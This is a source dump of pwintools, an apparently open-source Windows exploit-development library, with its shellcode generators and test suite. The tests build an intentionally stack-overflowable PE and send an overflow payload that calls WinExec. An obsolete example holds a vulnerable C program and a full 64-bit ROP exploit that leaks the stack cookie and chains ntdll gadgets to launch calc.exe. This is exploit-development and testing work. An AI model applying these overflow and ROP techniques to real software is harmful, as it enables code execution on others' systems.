x64.Sub("RSP", 0x30) 1005 | AllocRWX64_sc += x64.And("RSP", -32) 1006 | AllocRWX64_sc += x64.Call("R10") 1007 | AllocRWX64_sc += x64.Mov('RAX', rwx_qword) 1008 | AllocRWX64_sc += x64.Mov("RCX", address) 1009 | AllocRWX64_sc += x64.Mov(x64.mem('[RCX]'), 'RAX') 1010 | AllocRWX64_sc += x64.Call("RCX") 1011 | AllocRWX64_sc += windows.native_exec.nativeutils.GetProcAddress64 1012 | 1013 | return AllocRWX64_sc.get_code() 1014 | 1015 | 1016 | log = MiniLogger() 1017 | """log Python logger""" 1018 | 1019 | shellcraft = DotDict() 1020 | shellcraft.amd64 = DotDict() 1021 | 1022 | shellcraft.amd64.pushstr = sc_64_pushstr 1023 | """shellcraft.amd64.pushstr(string) returns MultipleInstr objects pushing the string on the stack""" 1024 | 1025 | shellcraft.amd64.WinExec = sc_64_WinExec 1026 | """shellcraft.amd64.WinExec(string) returns str shellcode calling WinExec""" 1027 | 1028 | shellcraft.amd64.LoadLibrary = sc_64_LoadLibrary 1029 | """shellcraft.amd64.LoadLibrary(string) returns str shellcode calling LoadLibrary""" 1030 | 1031 | shellcraft.amd64.AllocRWX = sc_64_AllocRWX 1032 | """shellcraft.amd64.AllocRWX(addr, rwx_qword) returns str shellcode allocating rwx, writing rwx_qword and jumping on it""" 1033 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | git+git://github.com/hakril/PythonForWindows -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup 2 | 3 | PKG_NAME = "PWiNTOOLS" 4 | VERSION = "0.41" 5 | 6 | 7 | setup( 8 | name = PKG_NAME, 9 | version = VERSION, 10 | author = 'Mastho', 11 | author_email = 'none', 12 | description = 'Windows basic pwntools - exploit development library', 13 | license = 'MIT', 14 | keywords = 'windows python exploit', 15 | url = 'https://github.com/masthoon/pwintools', 16 | py_modules=['pwintools'], 17 | install_requires=[ 18 | 'PythonForWindows', 19 | ], 20 | dependency_links=[ 21 | 'git+git://github.com/hakril/PythonForWindows', 22 | ] 23 | ) -------------------------------------------------------------------------------- /tests/RunTestsInWindowsSandbox.wsb: -------------------------------------------------------------------------------- 1 | 2 | Enable 3 | Default 4 | 5 | 6 | CHANGEPATHHERE\pwintools 7 | true 8 | 9 | 10 | 11 | C:\users\WDAGUtilityAccount\Desktop\pwintools\tests\run_tests.bat 12 | 13 | -------------------------------------------------------------------------------- /tests/build_pwn_pe.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lief import PE 5 | import windows.native_exec.simple_x86 as x86 6 | from windows.generated_def import STD_OUTPUT_HANDLE, STD_INPUT_HANDLE 7 | 8 | fmt_call = lambda addr: "[0x{:X}]".format(addr) 9 | call_import = lambda addr: x86.mem(fmt_call(addr)) 10 | 11 | welcome = b"Welcome to the pwn challenge!\r\n\tLIEF is awesome\r\n" 12 | test = b"cmd.exe\0" 13 | 14 | imports = { 15 | "kernel32.dll": { 16 | "GetStdHandle": 0, 17 | "WriteFile": 0, 18 | "ReadFile": 0, 19 | "WinExec": 0, 20 | }, 21 | } 22 | 23 | data = { 24 | welcome: 0, 25 | test: 0, 26 | } 27 | 28 | 29 | binary32 = PE.Binary("pwn.exe", PE.PE_TYPE.PE32) 30 | 31 | # Start with 0x100 bytes of \cc 32 | section_text = PE.Section(".text") 33 | section_text.content = bytearray(x86.Int3().get_code() * 0x100) 34 | section_text.virtual_address = 0x1000 35 | 36 | # Init data section 37 | data_raw = b'' 38 | for obj in data.keys(): 39 | data[obj] = binary32.optional_header.imagebase + len(data_raw) + 0x2000 40 | data_raw += obj 41 | 42 | section_data = PE.Section(".data") 43 | section_data.content = bytearray(data_raw) 44 | section_data.virtual_address = 0x2000 45 | 46 | section_text = binary32.add_section(section_text, PE.SECTION_TYPES.TEXT) 47 | section_data = binary32.add_section(section_data, PE.SECTION_TYPES.DATA) 48 | 49 | binary32.optional_header.addressof_entrypoint = section_text.virtual_address 50 | 51 | 52 | for library in imports.keys(): 53 | lib = binary32.add_library(library) 54 | for function in imports[library].keys(): 55 | lib.add_entry(function) 56 | 57 | for library in imports.keys(): 58 | for function in imports[library].keys(): 59 | imports[library][function] = binary32.predict_function_rva(library, function) + binary32.optional_header.imagebase 60 | 61 | 62 | code = x86.MultipleInstr() 63 | code += x86.Mov("EBP", "ESP") 64 | code += x86.Sub("ESP", 0x100) 65 | # GetStdHandle(STD_OUTPUT_HANDLE) 66 | code += x86.Push(STD_OUTPUT_HANDLE) 67 | code += x86.Call(call_import(imports["kernel32.dll"]["GetStdHandle"])) 68 | # WriteFile(eax, welcome, len_welcome, &esp+8, 0) 69 | code += x86.Lea("EDI", x86.mem("[ESP + 0x8]")) 70 | code += x86.Push(0) 71 | code += x86.Push("EDI") 72 | code += x86.Push(len(welcome)) 73 | code += x86.Push(data[welcome]) 74 | code += x86.Push("EAX") # hConsoleOutput 75 | code += x86.Call(call_import(imports["kernel32.dll"]["WriteFile"])) 76 | # GetStdHandle(STD_INPUT_HANDLE) 77 | code += x86.Push(STD_INPUT_HANDLE) 78 | code += x86.Call(call_import(imports["kernel32.dll"]["GetStdHandle"])) 79 | # ReadFile(eax, &esp+80, 0x50, &esp+8, 0) 80 | code += x86.Lea("EBX", x86.mem("[ESP + 0x80]")) 81 | code += x86.Push(0) 82 | code += x86.Push("EDI") 83 | code += x86.Push(0xF0) # Oops stack overflow 84 | code += x86.Push("EBX") 85 | code += x86.Push("EAX") # hConsoleInput 86 | code += x86.Call(call_import(imports["kernel32.dll"]["ReadFile"])) 87 | # GetStdHandle(STD_OUTPUT_HANDLE) 88 | code += x86.Push(STD_OUTPUT_HANDLE) 89 | code += x86.Call(call_import(imports["kernel32.dll"]["GetStdHandle"])) 90 | # WriteFile(eax, &esp+50, 0x50, &esp+8, 0) 91 | code += x86.Push(0) 92 | code += x86.Push("EDI") 93 | code += x86.Push(0x50) 94 | code += x86.Push("EBX") 95 | code += x86.Push("EAX") # hConsoleOutput 96 | code += x86.Call(call_import(imports["kernel32.dll"]["WriteFile"])) 97 | code += x86.Mov("ESP", "EBP") 98 | code += x86.Ret() 99 | 100 | 101 | padded_code = code.get_code() 102 | padded_code += x86.Nop().get_code() * (0x100 - len(padded_code)) 103 | section_text.content = bytearray(padded_code) 104 | 105 | 106 | builder = PE.Builder(binary32) 107 | builder.build_imports(True) 108 | builder.build() 109 | builder.write("pwn.exe") 110 | 111 | print("Generated pwn.exe") -------------------------------------------------------------------------------- /tests/obsolete/exemple_rop.cpp: -------------------------------------------------------------------------------- 1 | #ifdef _MSC_VER 2 | #define _CRT_SECURE_NO_WARNINGS 3 | #endif 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | int main(int argc, char **argv) 10 | { 11 | unsigned int real_size; 12 | char badbuffer[64]; 13 | for (int i = 0; i < 2; i++) 14 | { 15 | _write(1, "Size : ", 7); 16 | scanf("%u", &real_size); 17 | _write(1, "Input : ", 8); 18 | scanf("%s", badbuffer); 19 | _write(1, badbuffer, real_size); 20 | _write(1, "Done\n", 5); 21 | } 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /tests/obsolete/exemple_rop.py: -------------------------------------------------------------------------------- 1 | # https://www.dailysecurity.fr/windows_exploit_64_bits_rop/ 2 | 3 | from pwintools import * 4 | 5 | p = Process(b"exemple_rop.exe") 6 | # p.spawn_debugger(breakin=False) 7 | 8 | p.recvuntil(b":") 9 | p.sendline(b"500") 10 | p.recvuntil(b":") 11 | p.sendline(b"a"*60) 12 | 13 | leak = p.recvuntil(b":")[65:] 14 | 15 | ntdll_base = p.libs['ntdll.dll'] 16 | kernel32_base = p.libs['kernel32.dll'] 17 | ret_addr = u64(leak[0x18:0x20]) 18 | base_addr = ret_addr - 0x36c # offset address after call main 19 | cookie = u64(leak[:8]) 20 | 21 | poprcx = ntdll_base + 0x11fe9 22 | poprdx = ntdll_base + 0x12991 23 | retgadget = ntdll_base + 0x7cbe2 24 | pop4ret = ntdll_base + 0x14caf 25 | s_addr = base_addr + 0x126c 26 | winexec_addr = kernel32_base + 0xdf840 27 | winexec_addr = kernel32_base + 0xdf840 28 | data_addr = base_addr + 0x2600 29 | scanf_addr = base_addr + 0x10 30 | 31 | 32 | log.info("chall.exe base address : 0x%x" % base_addr) 33 | log.info("ntdll.dll base address : 0x%x" % ntdll_base) 34 | log.info("kernel32.dll base address : 0x%x" % kernel32_base) 35 | log.info("cookie value : 0x%x" % cookie) 36 | log.info("Winexec address : 0x%x" % winexec_addr) 37 | log.info("scanf address : 0x%x" % scanf_addr) 38 | log.info("ret address : 0x%x" % ret_addr) 39 | 40 | log.info("Build ropchain") 41 | 42 | ropchain=b"a"*64 + p64(cookie) + b"b"*16 43 | 44 | #scanf("%s",data_addr); 45 | ropchain+=p64(poprcx) + p64(s_addr) # Pop 1st arg 46 | ropchain+=p64(poprdx) + p64(data_addr) # Pop 2nd arg 47 | ropchain+=p64(retgadget)+p64(scanf_addr) + p64(pop4ret) # Align rsp using ret + call scanf + set return addr to pop4ret to jump over the shadow space 48 | ropchain+=b"b"*0x20 # Padding to return address (shadow space size) 49 | 50 | #WinExec(data_addr,1); 51 | ropchain+=p64(poprcx) + p64(data_addr) # Pop 1st arg 52 | ropchain+=p64(poprdx) + p64(1) # Pop 2nd arg 53 | ropchain+=p64(winexec_addr) # call WinExec 54 | ropchain+=p64(ret_addr) # Set return address to the real main return value 55 | log.info("Trigger overflow...") 56 | p.sendline(bytes(str(600).encode())) 57 | p.sendline(ropchain) 58 | p.sendline(b'calc.exe\x00') # for the scanf inside the ropchain 59 | log.info("Gimme that calc") -------------------------------------------------------------------------------- /tests/run_tests.bat: -------------------------------------------------------------------------------- 1 | @echo @off 2 | @REM TODO 32 bits Python 3 | 4 | curl -L "https://www.python.org/ftp/python/3.9.6/python-3.9.6-amd64.exe" --output "C:\users\WDAGUtilityAccount\Downloads\python-3.9.6-amd64.exe" 5 | "C:\users\WDAGUtilityAccount\Downloads\python-3.9.6-amd64.exe" /quiet InstallAllUsers=1 PrependPath=1 TargetDir=C:\Python3 6 | 7 | curl -L "https://www.python.org/ftp/python/2.7.18/python-2.7.18.amd64.msi" --output "C:\users\WDAGUtilityAccount\Downloads\python-2.7.18.amd64.msi" 8 | "C:\users\WDAGUtilityAccount\Downloads\python-2.7.18.amd64.msi" /quiet InstallAllUsers=1 PrependPath=1 TargetDir=C:\Python2 9 | 10 | curl -L https://github.com/git-for-windows/git/releases/download/v2.32.0.windows.2/Git-2.32.0.2-64-bit.exe --output "C:\users\WDAGUtilityAccount\Downloads\Git-2.32.0.2-64-bit.exe" 11 | C:\users\WDAGUtilityAccount\Downloads\Git-2.32.0.2-64-bit.exe /VERYSILENT /SUPPRESSMSGBOXES 12 | 13 | timeout /t 30 /nobreak >nul 14 | 15 | Xcopy /E /I C:\Users\WDAGUtilityAccount\Desktop\pwintools C:\Users\WDAGUtilityAccount\Downloads\pwintools 16 | 17 | SET PY2="C:\Python2\python.exe" 18 | SET PY3="C:\Python3\python.exe" 19 | SET WDIR=C:\Users\WDAGUtilityAccount\Downloads\pwintools 20 | SET DBG2="C:\Users\WDAGUtilityAccount\Desktop\dbg2.log" 21 | SET DBG3="C:\Users\WDAGUtilityAccount\Desktop\dbg3.log" 22 | SET LOGFILE="C:\Users\WDAGUtilityAccount\Desktop\test.log" 23 | 24 | REM install requirements python 3 25 | 26 | %PY3% -m pip install lief >> %DBG3% 2>&1 27 | pushd C:\Program Files\Git\cmd 28 | %PY3% -m pip install -r %WDIR%\requirements.txt >> %DBG3% 2>&1 29 | popd 30 | pushd %WDIR% 31 | %PY3% setup.py install >> %DBG3% 2>&1 32 | popd 33 | 34 | REM install requirements python 2 35 | 36 | %PY2% -m pip install lief==0.9.0 >> %DBG2% 2>&1 37 | pushd C:\Program Files\Git\cmd 38 | %PY2% -m pip install -r %WDIR%\requirements.txt >> %DBG2% 2>&1 39 | popd 40 | 41 | pushd %WDIR% 42 | %PY2% setup.py install >> %DBG2% 2>&1 43 | popd 44 | 45 | REM build test PE using python 2/3 46 | 47 | pushd %WDIR%\tests 48 | 49 | %PY2% build_pwn_pe.py 50 | @REM %PY3% build_pwn_pe.py 51 | 52 | @REM Run tests 53 | @echo "---- Python 2 tests ----" > %LOGFILE% 54 | @CALL %WDIR%\tests\tests.bat %PY2% >> %LOGFILE% 2>&1 55 | 56 | @echo "---- Python 3 tests ----" >> %LOGFILE% 57 | @CALL %WDIR%\tests\tests.bat %PY3% >> %LOGFILE% 2>&1 58 | 59 | popd 60 | 61 | @C:\Windows\System32\notepad.exe %LOGFILE% -------------------------------------------------------------------------------- /tests/simple_tcp_srv.py: -------------------------------------------------------------------------------- 1 | import socket,os 2 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 3 | # Errors are not logged (run with /K to check them) 4 | sock.bind(('127.0.0.1', 8888)) 5 | sock.listen(1) 6 | connection,address = sock.accept() 7 | buf = connection.recv(1024) 8 | assert(buf == b'PING\n') 9 | connection.send(b'PONG') 10 | buf = connection.recv(1024) 11 | assert(buf == b'OK\n') 12 | connection.send(b'Non-ASCII stuff:\x04\x08:\n') 13 | connection.send(b'QUIT') 14 | buf = connection.recv(1024) 15 | assert(buf == b'YEAH\n') 16 | connection.send(b'ABC\xff\x00\x01\x02\x03\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0fCOUCOU') 17 | connection.close() 18 | -------------------------------------------------------------------------------- /tests/test_process.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os.path 3 | sys.path.append(os.path.abspath(__file__ + "\..\..")) 4 | from pwintools import * 5 | 6 | log.log_level = 'warning' 7 | 8 | # Simple process spawn and exit 9 | cmd = Process(r"C:\Windows\System32\cmd.exe") 10 | assert(cmd.check_initialized()) 11 | cmd.close() 12 | assert(cmd.is_exit) 13 | 14 | # Simple process with bytes type name 15 | cmd = Process(b"C:\\Windows\\System32\\cmd.exe") 16 | assert(cmd.check_initialized()) 17 | cmd.close() 18 | assert(cmd.is_exit) 19 | 20 | # Suspended process spawn and exit 21 | notepad = Process(r"C:\Windows\system32\notepad.exe", CREATE_SUSPENDED) 22 | assert(not notepad.check_initialized()) 23 | notepad.threads[0].resume() 24 | notepad.wait_initialized() 25 | assert(notepad.check_initialized()) 26 | notepad.close() 27 | assert(notepad.is_exit) 28 | 29 | # Process API test 30 | cmd = Process(r"C:\Windows\System32\cmd.exe") 31 | notepad = Process(r"C:\Windows\system32\notepad.exe", CREATE_SUSPENDED) 32 | assert("combase.dll" in cmd.libs) 33 | try: 34 | notepad.libs 35 | assert(0) 36 | except Exception as e: 37 | assert("PEB not initialized" in str(e)) 38 | 39 | notepad.close() 40 | cmd.close() 41 | 42 | pwn = Process('pwn.exe') 43 | assert(pwn.leak(0x402000, 7) == b'Welcome') 44 | assert(pwn.search(b'cmd.exe') != 0) 45 | 46 | WinExecPwn = pwn.get_import('kernel32.dll', 'WinExec') 47 | assert(WinExecPwn == pwn.imports['kernel32.dll']['WinExec'].addr) 48 | 49 | WinExecK32 = pwn.symbols['kernel32.dll']['WinExec'] 50 | assert(WinExecK32 == pwn.imports['kernel32.dll']['WinExec'].value) 51 | assert(WinExecK32 == pwn.get_proc_address('kernel32.dll', 'WinExec')) 52 | assert(WinExecK32 == u32(pwn.leak(pwn.imports['kernel32.dll']['WinExec'].addr, 4))) 53 | 54 | pwn.close() -------------------------------------------------------------------------------- /tests/test_process_interactive.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os.path 3 | sys.path.append(os.path.abspath(__file__ + "\..\..")) 4 | from pwintools import * 5 | 6 | log.log_level = 'error' 7 | 8 | escape = len(sys.argv) > 1 9 | 10 | pwn = Process("pwn.exe") 11 | pwn.interactive(escape=escape) 12 | pwn.close() 13 | 14 | -------------------------------------------------------------------------------- /tests/test_process_io.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os.path 3 | sys.path.append(os.path.abspath(__file__ + "\..\..")) 4 | from pwintools import * 5 | 6 | # CMD process IO read / write 7 | cmd = Process(r"C:\Windows\System32\cmd.exe") 8 | assert(cmd.read(17) == b'Microsoft Windows') 9 | cmd.set_timeout(0.2) 10 | assert(cmd.recvall().endswith(b'>')) 11 | # Send a cmd 12 | cmd.sendline("echo COUCOU") 13 | assert(cmd.recvline().strip() == b'echo COUCOU') 14 | assert(cmd.recvline().strip() == b"COUCOU") 15 | 16 | cmd.send("ping -n 2 127.0.0.1 >NUL") 17 | cmd.write(" && echo TIMEOUT") 18 | cmd.sendline(b'') 19 | 20 | # cmdline 21 | assert(cmd.recvline().strip() == b'') 22 | cmd.recvline() 23 | 24 | try: 25 | log.log_level = 'critical' 26 | print(cmd.recvn(1)) 27 | assert(0) 28 | except EOFError: 29 | pass 30 | 31 | # Allow 2s timeout 32 | assert(cmd.recvline(timeout=2000).strip() == b"TIMEOUT") 33 | 34 | # Non-ascii test 35 | cmd.sendline(b"echo 123\x02\x04") 36 | cmd.recvuntil(b'\n123') 37 | assert(cmd.recvn(2) == b'\x02\x04') 38 | 39 | cmd.close() 40 | 41 | -------------------------------------------------------------------------------- /tests/test_pwn_pe.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os.path 3 | sys.path.append(os.path.abspath(__file__ + "\..\..")) 4 | from pwintools import * 5 | 6 | log.log_level = 'error' 7 | 8 | # Run pwn.exe 9 | proc = Process("pwn.exe") 10 | log.info(proc) 11 | 12 | # Search in memory cmd.exe 13 | cmd_exe = proc.search(b"cmd.exe\0") 14 | assert cmd_exe != 0, "Invalid binary cmd.exe not found" 15 | 16 | log.info("0x{:x} : {}".format(cmd_exe, proc.leak(cmd_exe, 7))) 17 | 18 | # Get WinExec address 19 | WinExec = proc.get_proc_address('kernel32.dll', 'WinExec') # Faster than proc.symbols['kernel32.dll']['WinExec'] 20 | 21 | log.info("kernel32!WinExec @ 0x{:x}".format(WinExec)) 22 | 23 | # Tests 24 | 25 | log.debug(proc.recvline()) 26 | log.debug(proc.recvline()) 27 | 28 | # You can also Debug it in Python see PythonForWindows documentation 29 | # proc.spawn_debugger(False) 30 | # pwn.exe should spawn a cmd.exe prompt, we can interact with it ! 31 | proc.send(b'A' * 0x80 + p32(WinExec) + p32(0x42424242) + p32(cmd_exe) + b'A' * 4) 32 | proc.interactive() 33 | proc.close() 34 | -------------------------------------------------------------------------------- /tests/test_remote.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os.path 3 | sys.path.append(os.path.abspath(__file__ + "\..\..")) 4 | from pwintools import * 5 | 6 | escape = len(sys.argv) > 1 7 | 8 | # Connect TCP 127.0.0.1:8888 9 | r = Remote('127.0.0.1', 8888) 10 | log.info(r) 11 | # Send 'PING' and waits for 'PONG' and detect connection closed 12 | r.sendline('PING') 13 | buf = r.recvall() 14 | assert(buf == b'PONG') 15 | r.write(b'OK' + b'\n') 16 | 17 | assert(r.recvuntil(b':') == b'Non-ASCII stuff:') 18 | assert(r.recvn(2) == b'\x04\x08') 19 | assert(r.recvline().strip() == b':') 20 | assert(r.recv(4) == b'QUIT') 21 | 22 | log.success("Going interactive") 23 | r.interactive(escape=escape) 24 | -------------------------------------------------------------------------------- /tests/test_requirements.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | print("--- Running Python {} ---".format(sys.version[0])) 4 | 5 | try: 6 | import windows 7 | except: 8 | print("FAIL PythonForWindows not installed") 9 | 10 | try: 11 | import lief 12 | except: 13 | print("FAIL lief not installed") 14 | 15 | try: 16 | import pwintools 17 | except: 18 | print("FAIL pwintools not installed") 19 | 20 | try: 21 | open(os.path.join(os.path.dirname(os.path.realpath(__file__)), "pwn.exe"), 'r') 22 | except: 23 | print("FAIL cannot find pwn.exe") -------------------------------------------------------------------------------- /tests/test_shellcode.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os.path 3 | import time 4 | sys.path.append(os.path.abspath(__file__ + "\..\..")) 5 | from pwintools import * 6 | 7 | log.log_level = 'debug' 8 | 9 | def run_shellcode(sc, debug = False): 10 | if debug: 11 | # log.debug(disasm(sc)) 12 | log.debug(hexdump(sc)) 13 | notepad = Process(r"C:\Windows\system32\notepad.exe", CREATE_SUSPENDED) 14 | if debug: 15 | notepad.spawn_debugger() 16 | log.info("Press 'g' in debugger!") 17 | notepad.execute(sc, notepad.virtual_alloc(0x1000)) 18 | return notepad 19 | 20 | def test_shellcode_winexec(): 21 | pattern = b' PROBABLY_WILL_NOT_FIND_THIS_FILE' 22 | sc = shellcraft.amd64.WinExec(b"notepad.exe" + pattern) 23 | test = run_shellcode(sc) 24 | time.sleep(0.5) 25 | # Validate the process 'notepad PROBABLY_WILL_NOT_FIND_THIS_FILE' spawned 26 | notepad_child_spawned = None 27 | notepads = [p for p in windows.system.processes if p.name == "notepad.exe"] 28 | for proc in notepads: 29 | try: 30 | if pattern in proc.peb.commandline.str.encode('utf-16be').replace(b'\0', b''): 31 | notepad_child_spawned = proc 32 | except windows.winproxy.error.WinproxyError: 33 | pass 34 | assert(notepad_child_spawned) 35 | test.close() 36 | # Close the child process 37 | notepad_child_spawned.exit(0) 38 | 39 | def test_shellcode_loadlibrary(): 40 | # Works over SMB or WebDAV \\IP\X\X.dll 41 | # Or with fullpath D:\Desktop\XYZ\A.dll 42 | sc = shellcraft.amd64.LoadLibrary(r"C:\Windows\System32\ntoskrnl.exe") 43 | test = run_shellcode(sc) 44 | time.sleep(0.5) 45 | assert('ntoskrnl.exe' in test.libs) 46 | test.close() 47 | 48 | def test_shellcode_rwx(): 49 | sc = shellcraft.amd64.AllocRWX(0x1234000, 0xfeeb) # infinite loop 50 | test = run_shellcode(sc) 51 | time.sleep(0.5) 52 | assert(test.query_memory(0x1234000).Protect == PAGE_EXECUTE_READWRITE) 53 | test.close() 54 | 55 | 56 | test_shellcode_winexec() 57 | test_shellcode_loadlibrary() 58 | test_shellcode_rwx() -------------------------------------------------------------------------------- /tests/tests.bat: -------------------------------------------------------------------------------- 1 | @set PYTHON=%~1 2 | 3 | REM 1. Requirements test 4 | %PYTHON% %WDIR%\tests\test_requirements.py 5 | 6 | REM 2. Network with no escaping 7 | start cmd /C %PYTHON% %WDIR%\tests\simple_tcp_srv.py 8 | @ping -n 1 127.0.0.1 >nul 9 | echo YEAH| %PYTHON% %WDIR%\tests\test_remote.py 10 | 11 | REM 2.bis Network with escaping 12 | start cmd /C %PYTHON% %WDIR%\tests\simple_tcp_srv.py 13 | @ping -n 1 127.0.0.1 >nul 14 | echo YEAH| %PYTHON% %WDIR%\tests\test_remote.py 1 15 | 16 | @REM 4. Simple process 17 | %PYTHON% %WDIR%\tests\test_process.py 18 | 19 | @REM 4.bis Simple process with IO 20 | %PYTHON% %WDIR%\tests\test_process_io.py 21 | 22 | @REM 4.final Simple process with interactive 23 | echo InteractiveWorking|%PYTHON% %WDIR%\tests\test_process_interactive.py 24 | echo InteractiveWorkingWithEscaping|%PYTHON% %WDIR%\tests\test_process_interactive.py 1 25 | 26 | @REM 5. Shellcode 27 | %PYTHON% %WDIR%\tests\test_shellcode.py 28 | 29 | @REM 6. Exploit process with child interactive 30 | %PYTHON% -c "print('dir\nexit')"|%PYTHON% %WDIR%\tests\test_pwn_pe.py 31 | 32 | @REM TODO Remote timeout 33 | @REM TODO Errors handling --------------------------------------------------------------------------------